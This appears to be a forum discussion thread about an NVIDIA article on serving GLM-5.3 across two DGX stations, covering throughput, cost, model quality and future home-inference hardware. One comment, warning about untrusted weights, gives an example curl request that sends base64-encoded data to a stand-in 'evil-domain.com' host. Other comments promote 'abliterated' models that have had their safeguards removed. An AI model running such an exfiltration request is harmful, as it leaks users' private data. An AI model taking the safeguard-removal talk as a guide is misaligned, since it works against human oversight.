Serving GLM-5.3 at 607.8 tok/s across two Nvidia DGX stations with vLLM
developer.nvidia.com
developer.nvidia.com
Eg I can put 2x of these workstations in an office handling banking/medical/secret/sensitive data and have my engineers stop complaining.
Better, in this context, is more capable with open ended work, planning, longer horizon “reasoning”. Flash is an absolute chad with a well defined task and accompanying guidance/guardrails/conventions provided. But not even close when it needs to deviate, runs into a “blocker” and has to reason its way out.
I find the full-size 5.3 is smart enough to avoid all the small-model problems, while GLM-5.3-Flash definitely starts showing its limits any time the task at hand is poorly defined. 5.3-Flash can often manage even complicated tasks, but the error rate (in terms of bad decisions, misunderstandings, etc) starts creeping up and the time wasted (or the risk thereof) gets high enough that it's worth just paying for the bigger model.
I do wish the bigger model could use vision though- that's currently limited to the flash model (presumably because it came out later, when they had figured out their vision training pipeline. Hopefully later releases will include it.)
The only annoying issue for me is that GLM-5.3 Flash is often eager to go into action and start modifying code when I've just asked a question and it misunderstood it as a call to action.
All models do that. Especially annoying when I’m in planning mode and asking a follow up causes complete replanning.
I added “user’s questions, often start with ‘Q:’ are not calls to action”
It works as long as I don’t forget the Q: marker
Not the only case where AA's numbers have no correlation to actual user experience. The full GLM 5.3 model is vastly smarter than the Flash version, and vastly slower.
All it takes to leak data is a curl request to https://evil-domain.com/?payload=base64-encoded-data, and any model could be trained or fine-tuned to execute this on any task.
It becomes even more dangerous if you run unofficial quantized weights of the original model, such as the Unsloth ones. Doing so means there are now two separate parties you need to trust, on top of the Chinese corporation behind the original model.
I have very much the opposite experience, they trash the place like toddlers then complain relentlessly when our auditors or anyone else points it out.
The ROI on this hardware from my back-of-envelope calculation is (50M per day for output tokens, 500M (assuming 10x ratio, which again is conservative (probably 4x more realistically)) per day for input tokens, and assuming 90% / 10% mixing (10% output, and 90% input), you are doing $22 + $630 per day), that is less than a year to make the money (2 DGX Stations, $200k) back.
EDIT: actually read the article, it is kinda poorly written with no clear separation what's the performance for decode v.s. prefill, making us arguing about this much less meaningful.
What will prices look like once production has caught up with demand though?
All in the next few years btw, around the same amount of time to actually build the factories. So strap in I guess.
I've heard numbers between 10k-38k tokens per second per GB300 GPU.
The number is supposedly the throughput per GPU though, which could apparently be on the order of 100x more than the article's 2x DGX GB300 setup with GLM-5.3.
There is an invaluable, priceless sense of of ownership of a thing instead of renting a thing.
If we thought of everything the way you’re pointing out the min-maxing value of LLMs nobody would own anything except for the oligarchs. You’re good with that?
Edit: This guy already did it, and you get 60% more throughput on the 8xB6000 https://github.com/kacper-daftcode/GLM5.3-8xPRO6K
The advantage of the station is gradual improvement. Though tbh I wonder if I should just settle for putting a few more normal H100 NVL and trying RoCE. Post is at least inspiring of ideas if nothing else.
Edit: This github.com/exo-explore/exo
> Is there a reason they chose glm and not deepseek
GLM-5.3's architecture (same as GLM-5.2) is simpler and it came out earlier.Hybrid attention and Manifold-Constrained Hyper-Connections only arrived with GLM-5.3-Flash.
Also, NVIDIA acquired HuggingFace, who used GLM-5.2 for their forensic analysis when they got hacked, so I presume that they have more familiarity with that model.
And DeepSeek-V4.1-Flash is more memory-efficient, so it'd sell fewer GPUs.
See table 2 in this article to see the tradeoffs of overall throughput vs per user latency as an example.
Deepseek would let you host higher concurrency than GLM.
Presumably that compression doesn’t come for free on the quality side. (This is totally speculative on my part. I haven’t personally used DS, and I don’t particularly feel benchmarks correlate well to my own experiences)
If you’ve got a small enough user count, perhaps there are tradeoffs in DeepSeek that are not buying you anything.
If you run a red team GLM is hard to beat, and most of the providers who want to serve an abliterated model cost significantly more so it makes more sense to spend money on hardware.
Right now there’s no great solution to the frontier or near frontier models for home use. But there are cards and options coming in 2027. For now just accept that you run qwen 37b or similar.
What’s coming in 2027 that changes this and why i implore you to wait? Well for these models you need massive amounts of memory and memory bandwidth. The solution above gets this by using expensive HBM spread over enough cards with enough compute to give a ridiculous tok/s. For home use you’d actually be happier with a single GPU that had lots of cheap memory to hold the weights and just enough memory bandwidth to feed that single gpu and no more. This in theory gets you close to 50tok/s on GLM 5.3 if it existed.
In 2027 there’s expected to be multiple HBF (high bandwidth flash) options incoming. High bandwidth flash has ~10x the latency of HBM but that actually doesn’t matter much for inference. Inference is latency tolerant and local inference time to first token beats over the internet time to first token no matter what you do in any case. The bandwidth and amount of memory is the blocker.
In 2027 there’s expected to be many multi terabyte HBF options coming. NAND/NOR flash is massively cheaper than RAM per byte (multiple states per logical unit so it’s denser) and it’s not that hard to wire it in a more parallel way to increase its bandwidth. Nvidia has the Kioxia solutions and Sandisk, Samsung, Tenstorrent, Mythic have also previewed HBF with GPUs to do local inference on the open source frontier models at reasonably high tok/s. Even if HBF is sold for 10x the price per terabyte of todays flash that’s still an extremely small fraction of the price of any other option right now.
Make do with the subscriptions for now. Don’t go crazy trying to run the frontier at home today. We should have something much better solutions are coming.
Sometimes you can't. All big three are bringing in the censorship and virtue signaling. It got to absurd levels recently. I asked claude to audit my code, let's see specific security features and it flat out refused etc.
I did a janky setup at home - I hooked up an old razer egpu case with 3090 (which had been collecting dust) to a strix halo 395 machine. I'm running qwen 3.8 flash next abliterated version as well as few image editing models and hook up to it with pi. The speed is really decent, it works on a level like frontier models late last year or better, and the best thing is I feel I can do anything with it without being nannied around.
I still use frontier, but now I use both. I recommend everyone to get one of these machines and do a similar setup. I got the idea from here anyways.
Similarly a fan heater or oil heater.
Or rent a server somewhere?
Multiple concurrent users make that tok/s/user at best with probably additional staking penalties with each user? I see people saying this isn't necessary for sub 100 employee businesses, but how does that work out if you have 100 users?
The 607 tok/s is total tok/s across the 16 users, so a bit over 35tok/s per user.
For an enterprise, that price seems doable. But if you want 50-100 tps like Claude does, and you only have 10 users, maybe you're not an enterprise.
To pull a recent analogy, I guess we're still at the early Model S stage of LLMs.
That first sentence makes me wish the article had been written by AI. It seems to be using a semicolon with its C semantics. In English one expects the thing after the semicolon to in some sense explain the thing before it.
In the design engineering department, I was in a group of eight designers/engineers decided they were gonna make their fortune with our profit sharing bonuses. Some did, some didn’t about half gave up. And now they’re mad at the world.
Staying at it, tuning out the noise really does work, compounding assets over time really does work if you stay at it and don’t become a mindless day trader.
Maybe even a Q4 quant on 128G, like an M5 max laptop or a DGX spark ...